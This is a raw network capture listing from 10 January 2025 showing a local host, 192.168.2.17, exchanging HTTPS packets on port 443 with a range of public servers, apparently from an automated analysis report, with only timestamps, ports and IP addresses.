Jan 10, 2025 20:49:35.134644032 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.134685040 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.134699106 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.134747982 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.146277905 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.146296978 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.146332026 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.146338940 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.146363974 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.159084082 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.159107924 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.159137011 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.159145117 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.159173012 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.160372972 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.160414934 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.160423994 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.160500050 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.162995100 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.163007021 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.163022995 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.163048029 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.163075924 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.167181969 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.167227983 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.167238951 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.167247057 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.167263985 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.167287111 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.177083969 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.177110910 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.177145958 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.177153111 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.177175999 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.177211046 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.187613010 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.187643051 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.187685013 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.187696934 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.187704086 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.187737942 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.187757015 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.187791109 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.188095093 CET	49732	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.188108921 CET	443	49732	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.199343920 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.199382067 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.199430943 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.199662924 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.199673891 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.209849119 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.209886074 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.209949017 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.210158110 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.210170031 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.280616045 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.280632019 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.280718088 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.280726910 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.307658911 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.307710886 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.307795048 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.307809114 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.307822943 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.331175089 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.331213951 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.331273079 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.331459999 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.331469059 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.333419085 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.333427906 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.333478928 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.333487988 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.339194059 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.339215994 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.339281082 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.339452028 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.339462996 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.367654085 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.367666960 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.367701054 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.367758036 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.367774010 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.367791891 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.405153990 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.405169964 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.405201912 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.405281067 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.405292988 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.405313015 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.429337978 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.429349899 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.429377079 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.429418087 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.429426908 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.429454088 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.472193003 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.472557068 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.472564936 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.472589970 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.472672939 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.472733021 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.477986097 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.477996111 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.478018999 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.478053093 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.478094101 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.497380972 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.497395992 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.497433901 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.497462988 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.497513056 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.513173103 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.513186932 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.513305902 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.513319016 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.531802893 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.531836033 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.531872988 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.531879902 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.531925917 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.542011976 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.542023897 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.542114019 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.542119980 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.542155981 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.549649000 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.549916983 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.549942970 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.551136017 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.551645994 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.551825047 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.551954031 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.551963091 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.552012920 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.552018881 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.553261995 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.565139055 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.565213919 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.565221071 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.575160027 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.575186968 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.575212002 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.575217962 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.575237036 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.589734077 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.589747906 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.589822054 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.589848995 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.596014977 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.596043110 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.596087933 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.596096039 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.596118927 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.599323988 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.609029055 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.609059095 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.609122038 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.609127045 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.609143972 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.618551970 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.618587017 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.618623972 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.618632078 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.618653059 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.632025957 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.632044077 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.632106066 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.632122040 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.638171911 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.638207912 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.638256073 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.638266087 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.638287067 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.646172047 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.646202087 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.646234035 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.646243095 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.646270037 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.656438112 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.656516075 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.656527996 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.664917946 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.664944887 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.664963961 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.664973021 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.664989948 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.671396017 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.671467066 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.671478033 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.677592039 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.677833080 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.677841902 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.678086042 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.678100109 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.678144932 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.678150892 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.678179979 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.678215981 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.678355932 CET	49735	443	192.168.2.17	77.88.21.119
Jan 10, 2025 20:49:35.678369045 CET	443	49735	77.88.21.119	192.168.2.17
Jan 10, 2025 20:49:35.678961039 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.679016113 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.679363012 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.679411888 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.679507971 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.679512024 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.689018011 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:35.689042091 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:35.689101934 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:35.689296961 CET	49750	443	192.168.2.17	93.158.134.119
Jan 10, 2025 20:49:35.689306974 CET	443	49750	93.158.134.119	192.168.2.17
Jan 10, 2025 20:49:35.724755049 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.809031010 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.809289932 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.809325933 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.809794903 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.809860945 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.810585022 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.810643911 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.811631918 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.811739922 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.811826944 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.811839104 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.841295004 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.841574907 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.841604948 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.841995001 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.842292070 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.842354059 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.842716932 CET	49743	443	192.168.2.17	157.240.251.9
Jan 10, 2025 20:49:35.844321966 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.844742060 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.844763041 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.845803022 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.845860004 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.846152067 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.846220970 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.846261024 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.864744902 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.883337021 CET	443	49743	157.240.251.9	192.168.2.17
Jan 10, 2025 20:49:35.891330004 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.896756887 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.896773100 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:35.928407907 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.928505898 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.928581953 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.928980112 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.929030895 CET	443	49748	216.239.38.181	192.168.2.17
Jan 10, 2025 20:49:35.929061890 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.929091930 CET	49748	443	192.168.2.17	216.239.38.181
Jan 10, 2025 20:49:35.932115078 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.932151079 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.932269096 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.932293892 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.935913086 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.935983896 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.936002016 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.936024904 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.936058998 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.936088085 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.936229944 CET	49739	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:35.936244011 CET	443	49739	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:35.937527895 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.937576056 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:35.937643051 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.937783957 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.937819004 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:35.937863111 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.938108921 CET	49751	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.938142061 CET	443	49751	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:35.938258886 CET	49752	443	192.168.2.17	87.250.250.119
Jan 10, 2025 20:49:35.938271046 CET	443	49752	87.250.250.119	192.168.2.17
Jan 10, 2025 20:49:35.943732977 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:35.947345018 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947395086 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947427988 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947439909 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.947464943 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947510004 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.947515965 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947658062 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.947731018 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.947738886 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.954186916 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.954248905 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.954273939 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.960334063 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.960391998 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.960412979 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.966922998 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.966988087 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:35.967014074 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:35.974292040 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.974515915 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.974535942 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.975615978 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.975682974 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.976720095 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.976792097 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:35.977401972 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:35.977412939 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:36.007836103 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:36.022872925 CET	49749	443	192.168.2.17	142.250.186.66
Jan 10, 2025 20:49:36.033864975 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:36.034027100 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:36.034075975 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:36.037189007 CET	49741	443	192.168.2.17	142.250.186.132
Jan 10, 2025 20:49:36.037216902 CET	443	49741	142.250.186.132	192.168.2.17
Jan 10, 2025 20:49:36.050895929 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.050956011 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.051038027 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.051233053 CET	49753	443	192.168.2.17	87.250.251.119
Jan 10, 2025 20:49:36.051263094 CET	443	49753	87.250.251.119	192.168.2.17
Jan 10, 2025 20:49:36.119616032 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.119700909 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.119745016 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.119766951 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.119817019 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.153599977 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.153629065 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.153739929 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.153990030 CET	49755	443	192.168.2.17	173.194.76.156
Jan 10, 2025 20:49:36.154005051 CET	443	49755	173.194.76.156	192.168.2.17
Jan 10, 2025 20:49:36.210208893 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.210223913 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.210244894 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.210258961 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.210269928 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.210335016 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.210382938 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.210391045 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.242677927 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.242702961 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.242731094 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.242794991 CET	49742	443	192.168.2.17	157.240.0.6
Jan 10, 2025 20:49:36.242824078 CET	443	49742	157.240.0.6	192.168.2.17
Jan 10, 2025 20:49:36.250869036 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:36.251009941 CET	443	49749	142.250.186.66	192.168.2.17
Jan 10, 2025 20:49:36.251068115 CET	49749	443	192.168.2.17	142.250.186.66
